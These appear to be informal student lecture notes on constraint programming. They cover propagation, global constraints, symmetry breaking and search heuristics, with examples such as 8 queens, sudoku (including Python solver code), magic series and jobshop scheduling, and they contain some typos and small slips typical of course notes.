# Constraint Programming
The goal of constraint programming is to provide a declarative and procedural formulation for a discrete optimization problem. The declarative formulation states the constraints and objective function and also provides a way to describe the sort of solution one is seeking for, without distraction of algorithmic details.
The search is directed by the procedural formulation, which specifies how to search for a solution.
### Basic idea
A constraint can be viewed as a procedure which operates on the solution space. Each constraint provides a relaxation to the constraint store which limits the portion of search base. The constraint store should contain constraints for which generating feasible solutions is easy.
Steps to do to solve a constraint programming problem:
* choose the decision variables
* identify the constraints and express them in terms of decision variables.
### 8 queens problem:
Consider the problem where you have to place 8 queens on a chessboard so that no two fo them attack each pther.Two queens attack each other if they are on same column or diagonal.
![](/static/8queen.png)
GOAL OF CONSTRAINT PROGRAMMING: Remove all values which are impossible.
So,you start by placing queens one by one and when you reach a point where you cannot move any further you come back and reconsider the position.This is equivalent of making a choice when no more deduction can be made. So when the choice is wrong solver backtracks.
Here the decision variable : associate a decision variable with each column.Then a variable denotes the row of a queen placed in this coloumn.Validity : no two queens can be placed in the same row so this is valid.
Constraints : queens cannot be placed on the same
* row
* upward diagonal
* downward diagonal
### Map colouring :
Problem : Colour a map such that no two adjascent territories recieve the same colour.
![](https://i.imgur.com/XS4ir0E.png)
So in the above problem ,
decision variable : color given to a country
domain of decision variable : set of values the variable can take.here 4 different colors ( As the 4 color theorem says every map can be coloured using 4 colors)
constraints : two adjascent countries cannot have the same color.
### conversion of character case and ascii codes.
Instead of following a set of instructions with only one way to compute values constraint programming declares the relationship between variables and constraints.
To see the difference of constraint programming approach we will see the example of converter which changes character cases(lower-case to/from capital/upper-case) and return the ASCII codes for each. So at any point of time the converter is aware of all 4 values.
The problem is translated into a constraint system consisting of connectors(variables) and nodes (constraints).connectors check for variable domain.When one value changes a particular connector changes/notifies all its connected nodes about the change.Nodes satisfy constraints calculate new values and propagate the them to other connectors.
![](https://i.imgur.com/vWU99Ra.png)
All the connectors are linked to nodes (defined by constraints),when one value is set in any one of the four connectors the system automatically calculates and sets the values on the rest of the connectors.This is the main advantage of using constraint programming ,as recaculation is reduced and values are automatically set.
#### Constraint programming is a combination of Branch and Prune.
Pruning is reducing the search space as much as possible. Constraints are used to remove the values from the variable domain that can not belong to any solution.
Branching is decomposing the problem in subproblems and discovering the subproblems. All the possible values are tried until a solution is found or it can be proven that there is no solution.
The structure of the constraint can be explored to prune the search base as best as it can. This is the strength of constraint programming.
### Computational paradigm
- Feasiblity check:
Can a constraint be satisfied given the values in the domains of its variables.
- Pruning:
If the constraint is satisfiable, determining which values in the domains can not be part of any solution.
- The Propogation engine:
This a simple (fixpoint) algorithm which is the core of any constraint-programming solver. The basic idea behind the algorithm is, selecting a constraint and checking its feasiblity. If it is not feasible, the algorithm returns failure, else pruning algorithm related to the constraint is applied until no constraint can remove any value from the domain of its variables. Each constraint has a dedicated algorithm.
### Linear constraints over integers
##### Consider a constraint
$$ a_1x_1 + . . . + a_n x_n \ge b_1y_1 + . . . + b_my_m$$
$$ a_i, b_j \ge 0 \ are \ constants
\\ x_i, y_j \ are \ variables \ with \ domains \ D(x_i), D(y_j) $$
##### Feasiblity test
Checking the feasiblity of the constraint, the constraint is satisfied if for the largest possible value of left hand side and smallest possible value of right hand side, the constraint is satisfied.
$$ a_1 max(D(x_1)) + . . . + a_n max(D(x_n)) \ge b_1 min(D(y_1)) + . . . . . + b_m min(D(y_m)) $$
$$ l = a_1 max(D(x_1)) + . . . + a_n max(D(x_n))
\\ r = b_1 min(D(y_1)) + . . . . . + b_m min(D(y_m)) $$
where *l* denotes the largest value of the left hand side *r* denotes the smallest value of right hand side for the given constraint.
##### Pruning
$$ a_i x_i \ge r - (l - a_i max(D(x_i))) $$
thus,
$$ x_i \ge \lceil {r - (l - a_i max(D(x_i))) \over a_i} \rceil $$
and
$$ y_j \le \lfloor {l
(r - b_j min(D(y_j))) \over b_j} \rfloor $$
### Cryptarithmatic puzzles
Another classic example of Constraint programming is Cryptarithmatic puzzles.
A cryptarithmetic puzzle is a mathematical exercise where the digits of some numbers are represented by letters (or symbols). Each letter represents a unique digit. The goal is to find the digits such that a given mathematical equation is verified.
Let us consider
CP + IS + FUN = TRUE
Let us see the stepwise method:
1. Modelling the problem -
The constraints are:
- The equation: CP + IS + FUN = TRUE
- Each of ten letters must be distinct digits
- C,I,F and T are non-zero (as we do not write leading zeroes in numbers)
2. For Feasiblity checking and Pruning:
This step can be performed by coding up the propogation engine. The important parts of the code are
1\) The function which ensures that all the letters have different values.
2\) The function which creates constraints that enforce add and carry operations.
### Rich language of constraint programming:
Example of Magic series -
A series $$ (S_0,...,S_n) $$ is magic if $S_i$ represents number of occurences of i in S
for example
$$ 2,1,2,0,0 $$ is a magic series which can be seen from the following table -
| | 0 | 1 | 2 | 3 | 4 |
|----------|---|---|---|---|---|
|Occurences| 2 | 1 | 2 | 0 | 0 |
We use the concept of Reification for obtaining a magic series.
Reification:
- The ability to transform a constraint into 0 or 1 variable
- Where the variable has value 1 if constraint is true and 0 if the constraint is false.
Thus for finding the magic series, say for n=5
the stepwise execution can be given by
1. Calculating the frequency of occurence of k in the series and storing in an array at kth index
For this, we will loop through the series and increment a count if we get series[i] = k.
Reification comes in play in this step.
Consider that every decision variable has been already given a value, and now we are checking if condition hold for that value, that is does the number actually have that much occurences. If the condition is satisfied, we assign it a value 1 else 0.
Looking at this in terms of coding, we develope ternary constraints with boolean variables.
Constraint booleq(b,x,v) holds if b is equal one and then x is to be equal to v, or if b equals zero, then x is to be different from v.
In terms of Boolean algebra:
$$booleq(b,x,v) \iff (b = 1\ \land x =v)\ \lor (b=0\ \land x \ne v) $$
So initially we considered reified constraints, and replaced them by these ternary constraints and their new booleq values.
Thus we have a system which reasons about natural, simple constraints between booleq variables and other variables.
 The inputs that we get, is that every woman is going to provide a ranking for the man.
And similarly every man is going to do the same for every woman.
The stability rules for a marriage are -
A and B are married, but according to the rankings they provide, say A has given a higher rank for C than B and similarly B has given a higher rank for D than A. Thus A and B want to switch over such that A is with C and B is with D.
But the switch is not possible because C is married with say E who has a higher rank than A with respect to C and D is married with say F who has a higher rank than B with respect to D.
As the switch is not possible, the marriage is stable.
In terms of coding, the basic conditions that we follow are
For every man, the husband of the wife of that man is to be the man itself.And the wife of the husband of a woman has to be the woman herself.
The array of variables is indexing another array of variables, we are using this very expressive feature of constraint programming.
Looking at the logical constraints:
If a man prefers a woman w over his wife, then we must have that w prefers her husband over m.
Similarly, if w prefers m over her husband, then m must prefer his wife over m.
The two interesting features of this problem-
- Element constraint
The ability to index an array/matrix with a variable or an expression containing variable
- Logical combination of constraints
can be handled by reification for instance
More about the features
1. Element constraint
variables x and y
c is an array of integers
constraint x = c[y]
These constraints can be used for pruning the search base.
### Global constraints
Global constraints capture the combinatorial substructures arising in many applications.They make modelling easier. In terms of problem solving, global constraints exploit dedicated algorithms and convey the problem structure to the solver so that they don't need to rediscover it.
A simple example of the global constraint is the$$ alldifferent (x_1,x_2,..x_n)$$ constraint which implies all the values x1,x2..xn are different.
let us see the application of this global constraint using an example,
**8 queens problem using alldifferent constraint** :
initially we saw that the conditions for the 8 queens problem is $$row[i] \ne row[j]$$$$row[i]+i \ne row[j]+j$$$$row[i]-i \ne row[j]-j$$ $$\forall \ i,j \in [1..8] $$
we can also express it as $$alldifferent(row) $$$$alldifferent(all(i\ in\ R)\ row[i]+i)$$$$alldifferent(all(i\ in\ R)\ row[i]i-i)$$ where R = [1..8]
There isn't a big difference when we look at both for the first time, but the statement alldifferent(all(i int R) row[i]+i) means take all the row[i]+i and check if all of these are different.
**checking the feasibility of the all different constraint :**
the constraint is $$C(x_1,x_2..x_n):where\ x_1\ has\ domain\ D(x_1),\ x_2\ has\ domain\ D(x_2),..,\ x_n\ has\ Domain\ D(x_n) $$
$$\ni\ v_1\in D_1,\ v_2\in D_2,..\ v_n\in D_n:
C(x_1=v_1,x_2=v_2..x_n=v_n)=true
$$
Having checked the feasibility of the constraint, now we will see how global constraints help pruning the search space better.
Consider, $$ D1\ = \{1,2\}$$$$ D2\ = \{1,2\}$$$$ D3\ = \{1,2\}$$
We can say that logically this is not feasible as there are 3 variables and only 2 values(pigeon hole principle).
when we check individually $$x1\ne x2,x2\ne x3,x3\ne x1 $$ as $$(x_1=1,x_2=2)\ satisfies\ x_1\ne x_2 $$$$(x_2=1,x_3=2)\ satisfies\ x_2\ne x_3 $$$$(x_3=1,x_1=2)\ satisfies\ x_3\ne x_1 $$ seperately these constraints are satisfied but if we put global constraint alldifferent(x1,x2,x3) these don't satisfy.Hence the global constraint helps us prune the search space more effectively.
Global constraint interacts with all the domains at the same time so helps in pruning the search space better.
SUDOKU :
$$ $$
![](https://i.imgur.com/2mlG3mm.png)
$$ $$
We are going to solve sudoku using constraint programming!.So,what are the variables here? every square has a decision variable and its value will be the number associated with the square.
**What are the constraints here?**
each value of the square should be different from the values in the same row,same column and the values in the respective square.
expressing this in terms of all different constraints,
$$ forall(i\ in\ R):\ \ \ alldifferent(all(j\ in\ R)\ S[i,j])\ \ \ \leftarrow for\ rows$$$$\ forall(i\ in\ R):\ \ \ alldifferent(all(j\ in\ R)\ S[i,j])\ \ \ \leftarrow for\ column$$$$forall(i\ in\ 0..2,j\ in\ 0..2):\ \ \ alldifferent(all(r\ in\ i*3+1,..i*3+3,c\ in\ j*3+1,..j*3+3)\ S[i,j])\ \ \ \leftarrow for\ squares$$
The system starts propagating using these values,if there are 2 values possible then system makes a choice.
The following is the sample code for a sudoku problem:
```python=
def dataNormalize (data):
"""
args: data; output from sudoku_solve()
returns: Normalized output of input - Diplayed at console
"""
ans=""
sudoku_nums = [ eachPos[1] for eachPos in sorted( data[0].items() ) ]
for step in range(0,81,9):
print(sudoku_nums[step:step+9])
ans = ans+str(sudoku_nums[step:step+9])+"<br>"
#for step in range(0,81,9):
return ans
# Solves the sudoku puzzle
def sudoku_solve ():
"""
args: None
returns: Sudoku solution
return type: list
description:
* Creates problem instance, sudoku = Problem()
* Adds sudoku input and their indices as variables
* Adds constraints to the problem
1. No two numbers in a row should be same
2. No two numbers in a column should be same
3. No two numbers in a 3x3 box shoud be same
* returns the solution as a list
"""
puzzleNums = "9 0 5 0 0 0 0 0 8\n4 0 0 5 7 0 1 0 6\n0 2 7 6 0 0 0 4 0\n0 9 6 0 0 3 5 1 2\n7 0 4 0 1 0 3 0 0\n2 1 0 9 8 0 0 0 4\n0 8 1 0 0 4 0 9 0\n3 0 0 8 0 0 0 5 1\n0 0 2 0 0 7 0 6 0"
print(puzzleNums)
# stores the numbers in a list. Ex: [1,2,9,0,3...]
puzzleNums = [ int(eachNum) for eachNum in puzzleNums.split() ]
# Problem instance created.
# Recursive backtracking is used here
sudoku = Problem( RecursiveBacktrackingSolver() )
# List of 9x9 sudoku puzzle indices. Ex: [(0,0), (0,1).. (9,9)]
sudokuIndex = [ (row, col) for row in range(9) for col in range(9) ]
# adding variables to the sudoku instance
for eachIndex,eachNum in zip(sudokuIndex, puzzleNums):
# If empty location is found, its range is set to 1-10
if eachNum == 0:
sudoku.addVariable(eachIndex, range(1,10) )
# If not an empty location, its a value is assigned
else:
sudoku.addVariable(eachIndex, [eachNum] )
# constraints for each row and column
# counting from 0-9 (numeber of rows/ columns)
var = 0
for aCount in range(9):
# A list of locations present in a row.
rowIndices = [ (var, col) for col in range(9) ]
# Adding constraint
# No two numbers in a row should be same
sudoku.addConstraint( AllDifferentConstraint(), rowIndices )
# A list of locations present in a column
colIndices = [ (row, var) for row in range(9) ]
# Adding constraint
# No two numbers in a column should be same
sudoku.addConstraint( AllDifferentConstraint(), colIndices )
var+=1
# constraints for each block (3x3) of board
# Finding all boxes in sudoku board. Its 9 in this case
rowStep = 0
colStep = 0
while rowStep < 9:
colStep = 0
while colStep < 9:
# list of locations present in a box
boxIndices = [ (row, col) for row in range(rowStep, rowStep+3) \
for col in range(colStep, colStep+3)]
# Adding constraint
# No two numbers in the box should be same
sudoku.addConstraint( AllDifferentConstraint(), boxIndices )
colStep+=3
rowStep+=3
# return the solution
return sudoku.getSolutions()
```
**SYMMETRY:**
Exploring symmetric parts of the search space is just repeating the same procedure twice.There are two kinds of symmetries:
* variable symmetry
* value symmetry
**Variable Symmetry:**
We will see this using an example. It is called the BIBD problem i.e balanced incomplete block designs.
**problem:**
input : v,b,r,k,l
output : A v by b 0/1 matrix with exactly r ones per row,k ones per column and a scalar product of value l.
eg:for input(3,3,2,2,1):
| 1 | 1 | 0 |
| ----- | ----- | ----- |
| **0** | **1** | **1** |
| **1** | **0** | **1** |
**Can you see any symmetries here?**
We will look for symmetries using a bigger example.lets say we take (7,7,3,3,1):
![](https://i.imgur.com/hkNYYdT.png)
Swap any row or column ,you can see the consitions still hold.
**how to break variable symmetry?**
ans: impose lexicographic order.
eg:![](https://i.imgur.com/oSozk8U.png)![](https://i.imgur.com/XmmmBYS.png)
left is lexicographically greater than the right one.
**value symmetry:**
Take the example of scene allocation.The days in scene allocation are interchangeable i.e swapping day1 and day2 is also a solution.If S is a solution then P(S) is also a solution where the days of S have been permuted by permutatuion p.
**how can we eliminate these symmetries?**
You have to look at the days aldready allocated and add one more extra day.
$$D(S_k)\ =\ \{ 1,2,..max(S_1,S_2..S_{k-1})+1\}$$
**REDUNDANT CONSTRAINTS**
They don't exclude any solution but they reduce the search space.
We will see about redundant constraints using the magic series:
A series $$ (S_0,...,S_n) $$ is magic if $S_i$ represents number of occurences of i in S
for example
$$ 2,1,2,0,0 $$ is a magic series which can be seen from the following table -
| | 0 | 1 | 2 | 3 | 4 |
|----------|---|---|---|---|---|
|Occurences| 2 | 1 | 2 | 0 | 0 |
while constructing the solution can the entry under four have the value 17?
| | 0 | 1 | 2 | 3 | 4 |
|----------|---|---|---|---|---|
|Occurences| ? | ? | ? | ? | 17 |
The series itself is of length 5 so you can't put 17 occurences of 4.Hence, the number of occurences is bounded.
so introducing the redundant constraint,
$$sum(i\ in\ D)\ series[i]\ =\ n
$$
This constraint helps in pruning search space better.We can deduce another constraint due to the definition of magic series:
$$sum(i\ in\ D)\ i*series[i]\ =\ n
$$
* first role of redundant constraints:
1. express the properties of the solution
2. boost the propagation of other constraints
* second role of redundant constraints:
1. provide more global view
2. combine existing constraints
3. improve communication between domains
_______________________________________________________________________________________
**Car Sequencing problem**
To illustrate redundant constraints, visualise a car sequencing problem, where cars go into an assembly line for options to be applied to them. Each production unit of the option has a capacity constraint, for example, at most 2 out of 5 successive cars can require a moonroof.
Problem:
So, we have a list of options, i.e., option 1, option 2, etc. and a class of car requirements that shows which options are needed and not needed for each class. There is a demand constraint of how many cars of each class should be included in the assembly line and a capacity constraint for each option.
![](https://i.imgur.com/ONCsA2P.png)
To solve it:
We start by defining the demand constraint, that the sum of slots in the assembly line ends up producing the required demand of each class type. Then define the setup variables of option required in slot. Then define the capacity constraint for each option.
An important point is to merge the capacity and demand constraint which will reduce the search base:
Consider an option o where at most 2 out of 3 consecutive cars can have this option and 12 cars need this option. This implies that only 2 out of the last set of 3 slots can have this options, therefore out of the remaining slots at least 10 cars have to be included. Repeating this constraint, out of the second last set of 3 slots at most 2 cars can be included, therefore out of the remaining preceding slots at least 8 cars have to be included. This propagation greatly reduces the search base and gives us a solution.
INTERESTING FEATURE:
We used refine, element and sum constraints.
**Dual Modeling**
If there is no one way of modeling a problem, we can put 2 models into the system and link them using constraints.
For example, the 8-queens problem.
Problem:
The first model was to associate a decision variable with each column. The other model was to associate a decision variable with each row.
To solve it:
After defining the row and column constraint, the important thing is to define the constraint that links both the models: For a row and a column, if the row of column c is r then the column of r has to be equal to c and vice versa. This not only gives a link between the models, we can propagate from one model to the other which gives us a deduction on both.
### Implementing global constraints
We are going to show binary knapsack and alldifferent constraint examples. The idea is to combine feasibility and pruning.
*Golden standard of pruning* : *If value v is in the domain of variable x then there exists a solution to the constraint with value v assigned to variable x*
**Binary knapsack**
General problem:
$$l \le \sum_{k=R} w_kx_k \le u $$$$\forall \ x_k \in \{0,1\} $$
Example:
$$10 \le 2x_1 + 3x_2 + 4x_3 + 5x_4 \le 12 $$
To solve it:
1. Forward phase: Compute feasibility, keep dependency links.
2. Backward phase: Remove values that don't satisfy constraint, i.e, pruning; or update dependency links.
For this example we create paths based on whether we take or don't take each variable and see where it leads, i.e, what sum it results in. This is the forward phase. In the backward phase we remove all paths that lead to a sum that is not 10, 11 or 12. This gives us a result $$x_4 = 1$$
Therefore we prune the value 0 from the domain of x4.
**Alldifferent constraints**
Consider a problem: $$x_1 \in \{1,2\}, x_2 \in \{2,3\}, x_3 \in \{1,3\}, x_4 \in \{2,4\}, x_5 \in \{3,4,5,6\}, x_6 \in \{6,7\} $$
$$ alldifferent (x_1,x_2,..x_6)$$
question: can x4 take value 2?
To solve it:
Step 1 is to check if the constraint is feasible.
So we create a bipartite graph where one type of vertex is the variable and the other type is the values. An edge exists if the value is in the domain of the variable. A matching for a graph G=(V,E) is a set of edges E such that no 2 edges in E share a vertex. A maximum matching M is a matching with the largest number of edges.
Therefore, the feasibility constraint is defined as *a maximum matching M where the number of edges is equal to the number of variables.*
*How to find a maximum matching?*
1. Start with any matching
2. Improve the matching.
To find an improvement, start from a free vertex x, if there is an edge (x,v) where v is not matched then insert (x,v) in the matching. Otherwise, take a vertex v matched to y. Remove (y,v) and add (x,v) from the matching and restart with y instead of x.
Essentially what we used is an alternating path. An alternating path P for a matching M is a path from vertex x in X to a vertex v in V(both of which are free) such that the edges in the path are alternatively in E\M and M.
*How to find alternative paths?*
* Create a directed graph
* Given a matching: edges in the matching are oriented from bottom to top and edges not in the matching are oriented from the top to the bottom.
* We can use depth first or best first search.
* O(|X|+|E|) where X is set of vertices and E is set of edges.
What we did is start at a free edge and go up and down until we reach a free value to assign values to all the edges.
This was feasibility. Now we need to prune.
*How to prune?*
v must be removed from the domain of x if the edge (x,v) appears in no max matching. This can be done easily for this problem using this property:
*An edge belongs to some but not all max matchings iff given a max matching it belongs to either an even alternating path starting at a free vertex or an even alternating cycle.*
This property tells us whether the edge belongs to at least one max matching.
Now,
* Given a matching M, create a directed graph like before but reserve the direction of the edges.
* Search for even alternating path starting from free vertex: P
* Search for all strongly connected components and collect all the edges belonging to them: C.
* Remove all the edges not belonging to M,P or C.
* *Complexity*:*O((|X|+|V|)***|E|)*
**Using these two examples (alldifferent and binary knapsack) we've seen that for each global constraint we can exploit the structure using a specific algorithm.**
---------------------------------------------------------------------------------------
There are two critical aspects in a constraint programming system. One of them has already been discussed - constraint propagation. The other one is 'search'.
Search is based on feasibility information. Constraint programming system prunes the search base based on constraints and feasibility. Search basically explores this information.
### First-Fail Principle
This principle tells you to "try first where you are most likely to fail". That is, if you have a bunch of tasks that you need to finish and you know that one of them is really difficult, you focus on that difficult task first instead of postponing it because you don't want to spend time doing the easy stuff first. By starting with the hard stuff first we try to make sure that we have a small search tree.
`
Example: For a graph colouring problem, we'll try to assign colour first to a node that has maximum neighbours and then we move to the remaining nodes.
`
##### Euler knight problem
Visit all positions of the chessboard exactly once using a knight.
Using the first fail principle,
- First, we have to decide where we are most likely to fail. If we start from the corner of the chessboard, we can see that there are only 2 positions where the knight can go so the corners are tough and hence we start at the corners.
So the first-fail principle is finding the variables that are the toughest to assign, i.e. they have the smallest domains.
#### Search Procedure components
Three major components in search procedures are:
- iterate over the variable
- non-deterministically choose a value for the variable
- add a constraint inside a constraint store
#### Various kinds of search in constraint programming
- variable/value labelling
- value/variable labelling
- domain splitting
- focusing on the objective
- symmetry breaking during search
- randomization and restarts
#### Variable/value Labeling
There are two steps:
- choose the variable you want to assign -- reiterate for the variable
- choose the value to assign -- non deterministic step
Now, we want to apply first-fail principle. So we find the variable that is the toughest to assign. The domain of the variable will be a good indication of what is tough and what is not. If a variable has a smaller domain, it means the variable is probably interacting with a lot of other constraints and hence assigning a value to that variable is difficult. Thus, we choose the variable with the smallest domain. For multiple variables with same domain, we choose the most constrained variable.
The ordering of the variable is dynamic. This is so because, if after reducing the search space, the domain of some other variable(which was originally not the second choice) has the smallest domain we need to choose that variable next.
We can use the Lexicographic criteria in case of the 8-queen problem, where we first check the domain size and if we have ties then priority is given to the queen which is the closest to the middle of the chess board. This is because placing a queen in the middle reduces more values than the case when a queen is placed in corners. Looking in terms of coding perspective, we are considering two criterial here, first the domain size and second, the closeness to the centre of the board.
Since we are using dual modelling in 8-queen problem, where we had variable associated with column and variable associated with row, this is a good example to show how we can both choose a variable ordering in a dynamic fashion, and a value ordering in a dynamic fashion.
we look at the raw variables as the one that we want to assign and we choose the one which has the smallest domain and then we have to assign a value. We choose a dynamic holder for the
variables. Then we choose a dynamic holder for the values. In both cases, you're actually applying the first-fail principal. Thus in constraint programming we can choose a dynamic ordering for the variable and choose a dynamic ordering for the values.
Thus for variable/value labelling, for variable ordering we choose the most constrained variable, that is the variable which is having the smallest domain and which fails most often.
And for value ordering we choose the value which leaves as many options as possible to variables.
This helps in finding a possible solution.
#### Value/variable Labeling
Two steps again:
- choose the value you want to assign
- choose the variable to which you want to assign the above chosen value
This technique is useful in cases when we know that a particular value must be assigned to some variable, like in scheduling problemsand resource allocation problems. For example, in time tabling problem we know that a particular professor *has* to be assigned to particular class.
##### The perfect square problem
The problem: There are several squares of different sizes given to us. We need to rearrange them and pack them to form a single large square.
![](https://i.imgur.com/ZlLYJcY.png)
First we need to find the decision variables. Let's take that to be the x and y coordinates of the bottom-left corner of every given square (You can also choose the top right corner).
Then we identify the constraints. Here, we have:
- all smaller squares must fit in the larger square
- the smaller squares shouldn't overlap
One redundant constraint which is also considered is that, considering a vertical line drawn on the larger square made by joining all the squares, the sum of sides of the squares which the line is intersecting is equal to the size of the larger square.
Now we have everything to write a simple pseudocode for this problem :).
Let us see why we should use value/variable labeling for this problem. We know that there is no empty space in the larger square. Visually, if we are trying to fill up the larger square using smaller squares, whenever we see an empty space we know that it needs to be filled by a square. This is the basic idea behind the following value/variable labeling procedure.
The process which we can follow is -
- Choose a x coordinate p
- For all the squares, check whether a square can be placed at the coordinate p, that is whether the value of bottom left x coordinate for the square is equal to p.
- Repeat this process for all x and y coordinates.
Thus we are taking a value and then checking the square which fits for the value.
#### Domain splitting
Considering example of magic square problem
Numbers are placed in each block such that all numbers are different and the numbers in a each row, column and diagonal sum up to the same number.
Approach we can follow -
Select a square and decide what value it can take, but this is a completely random guess. And assigning value in such a way is a strong commitment.
Instead of this, we can select a variable and split its domain into two or more sets which is a much weaker commitment as compared to the previous approach. For example we can say that the value lies in the upper domain or the lower domain of its actual domain.
This strategy is extremly useful for solving car sequencing problems. The car sequencing problem consists of cars placed on the assembly line where cars require a specific option (leather seats, moonroof) and some capacity constraints on the production units are given (only 2 out of 5 consecutive cars require moonroof). We need to find a sequence of the cars such that the capacity constraints are satisfied.
Domain splitting in car sequencing -
- We focus on the difficult options and decide which slots take these options.
- We do not assign the configurations to the slots, we are just deciding whether the slot can take the option.
So we are splitting the slots in two sets, one which are requiring the options one which are not requiring the option.
#### Focusing on the objective function
Comparing Feasiblity and Optimality:
Till now, our focus was feasiblity branching, that is pruning the search base which essentially provides a lot of information about the problem we are trying to solve. We may also focus on the objective function, that is instead of just looking at the feasible information we can provide reasoning about the objective function itself.
#### ESDD Deployment Problem
Electronic software distribution deployment problem
Serializable data services problem:
The problem is about implementing protocol which can give reliable software.
Where we want to map set of software components to a set of hardware components and we also need to satisfy some reliability conditions. We want the mapping to be as efficient as possible thus we need to reduce the communication traffic.
The problem can be seen as Generalized quadratic assignment problem where a set of data such as the frequency of communication of two components (f), distance between two components (h), decision variables (assignment vector x), set of components (c), constraints (separation and colocation, separation constraint tells that two software components can not be on the same machine and colocation tells two components are on the same machine) and the objective function is to minimize the communication traffic, which can be represented as
$$ \min_{x \in N} \sum_{a \in c} \sum_{b \in c} f_{a,b}\ \cdot \ h_{x_a,x_b} $$
(The multiplication of frequency of communication matrix and distance matrix with respect to the assignments done will represent the communication traffic)
#### Symmetry Breaking in search
The basic idea is to take advantage of the symmetries in optimization problems, by adding constraints that reduce the search space size and eliminate symmetries. Symmetries in a problem increase the size of the search space and therefore, time is wasted in visiting new solutions which are symmetric to the already visited solutions.
Symmetry-breaking constraints can be added to the problem such that some of the symmetric solutions are eliminated from the search space while making sure that atleast one solution exists in the search space. Symmetry is common in many real-life combinatorial problems. For example, certain vehicles in the vehicle routing problem might be identical. For a valid routing plan, every permutation of such identical vehicles yields another valid routing plan with the same objective function value. The same goes for the scene allocation problem we've seen previously for static constraints.
#### Randomization and restarts
Sometimes there is no obvious search ordering but the structure of the problem is such that there is a good ordering. It's just very difficult to find. So in these cases we use brute force. We randomly generate some ordering and if it doesn't work and we can't find a solution in reasonable time we stop early and restart the search by generating a different ordering.
The key idea:
- apply a heuristic but with randomization
- limit the time in the search
- if the time limit is reached, restart the search and possibly increase the limit
Let's go back to the magic square problem discussed in domain splitting. There are very slight modifications to be made in that approach. Instead of selecting the variable with the smallest domain, we randomly select one of the 3 variables which have the smallest domain. Also the entire process continues inside a repeat loop that runs until the time limit is reached. On reaching thee time limit, the time limit is increased by some small amount and the search starts again.
### Constraint-based scheduling
Example:
Minimizing the duration of a big project which has which needs to take in consideration different points for scheduling such as
- precedence constraints
There may be some task which needs to come before some other task.
- disjunctive constraints
This means two tasks assigned on the same machine can not overlap.
Taking a real life example of building a bridge, the different components that need to be built need to be in an order and the resources that are used to build in the tasks can be exactly same and thus need to be shared.
The method of model-based computing is used to state the problem. For stating the problem domain specific concepts such as activities, resources, precedence constraints are used. Behind the scene, these are compiled into decision constraints and global variables.
### The Jobshop scheduling problem
In this problem, we have a set of tasks that we have to schedule, where
- Each task **t** has a duration **d(t)** associated with it.
- Each task **t** executes on machine **m(t)** and following the disjunctive constraints, two tasks scheduled on the same machine can not overlap in time.
- There is a set of precedence constraints (b,a)
which states that task **a** must start after task **b** has been completed.
The main objective of the problem is to minimize the project completion time.
![](https://i.imgur.com/hsXS61B.jpg)
The Job1 represents the sequence of activities and the activities with the same colour use the same machine for execution, for example as shown in the figure, all the tasks coloured in blue use the Machine k and that is why they can not overlap in time. In order to do so, the machine must handle the tasks in a sequential manner and thus we need to find an ordering of the tasks associated with a particular machine.
![](https://i.imgur.com/5fjjipi.jpg)
The machine executes the jobs sequentially where the ordering of the jobs depends on the precedence constraints provided. In the figure above we have all the possible links between every two tasks which are using a particular machine. We have to choose a subset of these links which are making a sequence. One of the orderings can be -
![](https://i.imgur.com/xTfNhrR.jpg)
Thus, all the tasks associated with a machine are in a well defined order and machine follows the order while executing the tasks.
Once we have defined the order of tasks for every machine, we just need to consider the precedence constraints. We minimize the project duration under the precedence constraints, which is a polynomial time problem and thus we can use topological sorting for this purpose. For more sophisticated precedence constraints which also involve distances we use transitive closure (Floyd-Warshall algorithm).
**Model compilation**
- Every activity has three variables, the start date, the end date and the duration of activity, where the constraint linking these variables is
s + d = e
Thus for each activity we have three interdependent decision variables linked by the above constraint.
- According to the precedence constraint (b,a)
The start date of task a should be greater than or equal to the end date of task b.
- The resource constraints are compiled into global constraints which are disjunctive in nature, disjunctive($t_1$,...,$t_n$) tells that the activities $t_1$ to $t_n$ can not overlap.
#### Feasibility of Disjunctive constraints
Checking the feasiblity of Disjunctive constraints:
If for a single machine, we are given 3 jobs and the interval in which they can be scheduled and we want to schedule these tasks in such a manner that there is no overlap.
But, detecting feasiblity of Disjunctive constraints is a NP-complete problem.
Thus, instead of solving this exact problem, we will try relaxing the constraints.
The notation used is
$$s(\Omega) = min(t \ in \ \Omega) \ min(s_t)\\
e(\Omega) = max(t \ in \ \Omega) \ max(e_t)\\
d(\Omega) = sum(t \ in \ \Omega) \ min(d_t)$$
$s(\Omega)$ is the earliest time at which any task in $\Omega$ can start.
$e(\Omega)$ is the latest end date that any task in $\Omega$ can have.
$d(\Omega)$ is the total time taken by all tasks in $\Omega$
The Feasibility test we apply is
$s(t) + d(t) \le e(t)$
A better Feasibility test can be given as
for all $\Omega \in T:s(\Omega) + d(\Omega) \le e(\Omega)$
where we are looking at all subsets inside Task T and we need to consider only quadratic number of subsets.
The task interval for an interval t~1~ to t~2~ is the number of tasks having start date after t~1~ and end date before t~2~ and is represented as
$s(t_1,t_2) = \{ t \ in \ R \ | \ s(t) \ge s(t_1) \ and \ e(t) \le e(t_2) \}$
Thus now our feasibility test only looks at the all the task intervals.
The complexity is $O(|T|^3)$ as there are quadratic number of task intervals and the test itself is linear time.
Another algorithm which is quadratic time can be given. In this algorithm end date e is fixed and for tasks we perform the following process
![](https://i.imgur.com/VyHnZzu.png)
where the task having latest starting date is considered first.
We can do better than quadratic time, where we use preemptive scheduling and we get $O(|T|log|T|)$ algorithm.
#### Disjunctive Pruning
Edge finding rules are the set of rules used for pruning.
- Select a set of tasks $\Omega$ and a task $i \notin \Omega$
- Determining if $i$ must start after all tasks in $\Omega$:
$s(\Omega \cup i) + d(\Omega \cup i) > e(\Omega)$
then we have to update the starting time of i accordingly:
$max(\gamma \subseteq \Omega)s(\gamma) + d(\gamma)$
and same can be done for ending date.
The edge finding rules can be strongly enforced in polynomial time.
Thus the basic strategy for Disjunctive Scheduling involves
1. Choose a machine
2. Sequence the tasks for the chosen machines
3. Repeate the process for other machines
For choosing the machine, we can apply first-fail principle. And in terms of choosing taks, we look at the tasks which can be scheduled first or last and the task is as tight as possible.
### Appendix:
1) Discrete optimization:
Discrete optimization is a branch of optimization in applied mathematics and computer science. some or all of the variables used in a discrete mathematical optimisation are restricted to be discrete variables—that is, to assume only a discrete set of values, such as the integers.
2) Decision variables:
Variables is a set of quantities that need to be determined in order to solve the problem. The variables are sometimes called decision variables because the problem is to decide what value each variable should take.
3) Domain of decision variables:
The domain of decision variables is the set of all possible values that can be taken by the variables.
4) Global constraints:
